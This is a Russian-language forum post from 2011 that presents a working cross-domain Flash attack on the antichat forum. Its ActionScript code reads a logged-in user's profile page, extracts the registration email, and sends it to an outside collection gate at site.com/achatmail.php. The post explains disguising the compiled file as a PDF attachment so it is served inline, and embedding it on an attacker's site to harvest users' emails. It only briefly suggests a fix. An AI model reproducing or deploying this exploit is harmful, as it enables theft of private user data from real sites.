Показать сообщение отдельно

  #2  
Старый 30.10.2011, 04:32
M_script
Новичок
Регистрация: 04.11.2004
Сообщений: 5
С нами: 11322426

Репутация: 0
По умолчанию

Практическое использование уязвимости

Ниже приведен код простого приложения, которое парсит регистрационное мыло пользователя с forum.antichat.ru/profile.php?do=editpassword и отправляет на гейт site.com/achatmail.php

PHP код:
[COLOR="#000000"][COLOR="#0000BB"]package

[/COLOR][COLOR="#007700"]{

[/
COLOR][COLOR="#0000BB"]import flash[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]display[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]Sprite[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]import flash[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]events[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]Event[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]import flash[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]net[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]URLLoader[/COLOR][COLOR="#007700"];

[/COLOR][COLOR="#0000BB"]import flash[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]net[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]URLRequest[/COLOR][COLOR="#007700"];

[/COLOR][COLOR="#0000BB"]import flash[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]net[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]URLRequestMethod[/COLOR][COLOR="#007700"];

public class
[/COLOR][COLOR="#0000BB"]Main[/COLOR][COLOR="#007700"]extends[/COLOR][COLOR="#0000BB"]Sprite

[/COLOR][COLOR="#007700"]{

public function[/COLOR][COLOR="#0000BB"]Main[/COLOR][COLOR="#007700"]() :[/COLOR][COLOR="#0000BB"]void

[/COLOR][COLOR="#007700"]{

var[/COLOR][COLOR="#0000BB"]request[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]URLRequest[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]URLRequest[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"/profile.php?do=editpassword"[/COLOR][COLOR="#007700"]);

var[/COLOR][COLOR="#0000BB"]loader[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]URLLoader[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]URLLoader[/COLOR][COLOR="#007700"]();

[/
COLOR][COLOR="#0000BB"]loader[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]addEventListener[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]Event[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]COMPLETE[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]completeHandler[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]loader[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]load[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]request[/COLOR][COLOR="#007700"]);

}

private function[/COLOR][COLOR="#0000BB"]completeHandler[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]event[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]Event[/COLOR][COLOR="#007700"]) :[/COLOR][COLOR="#0000BB"]void

[/COLOR][COLOR="#007700"]{

var
[/COLOR][COLOR="#0000BB"]mail[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]String[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]String[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]event[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]target[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]data[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#0000BB"]mail[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]mail[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]match[/COLOR][COLOR="#007700"](/[/COLOR][COLOR="#0000BB"]name[/COLOR][COLOR="#007700"]=\[/COLOR][COLOR="#DD0000"]"email\" value=\".+?\"/)[0];

mail = mail.slice(20, mail.length - 1);



var request : URLRequest = new URLRequest("
[/COLOR][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//site.com/achatmail.php");

[/COLOR][COLOR="#0000BB"]request[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]data[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"mail="[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]encodeURIComponent[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]mail[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]request[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]method[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]URLRequestMethod[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]POST[/COLOR][COLOR="#007700"];

var
[/COLOR][COLOR="#0000BB"]loader[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]URLLoader[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]URLLoader[/COLOR][COLOR="#007700"]();

[/COLOR][COLOR="#0000BB"]loader[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]load[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]request[/COLOR][COLOR="#007700"]);

}

}

}[/
COLOR][/COLOR] 
При работе удобно использовать сервис wonderfl.net - онлайн-компилятор и редактор ActionScript.

Готовое приложение переименовываем в filename.pdf и грузим в аттач форума. Расширение PDF выбрано потому, что на ачате файл, загруженный в этом формате имеет Content-disposition: inline, что позволяет применять приложение для всех браузеров.

Для успешной отправки мыла на site.com, в корне сайта должен быть файл crossdomain.xml

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]



[/COLOR][/COLOR] 
(вместо forum.antichat.ru можно прописать *.antichat.ru или просто *)

Теперь на вставляем на страницу своего сайта

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR] 
и собираем базу мыл ачата

p.s.: не мешало бы закрыть баг. хотя бы сделать проверку первых 3 байт на "CWS" для загружаемых файлов
 
Ответить с цитированием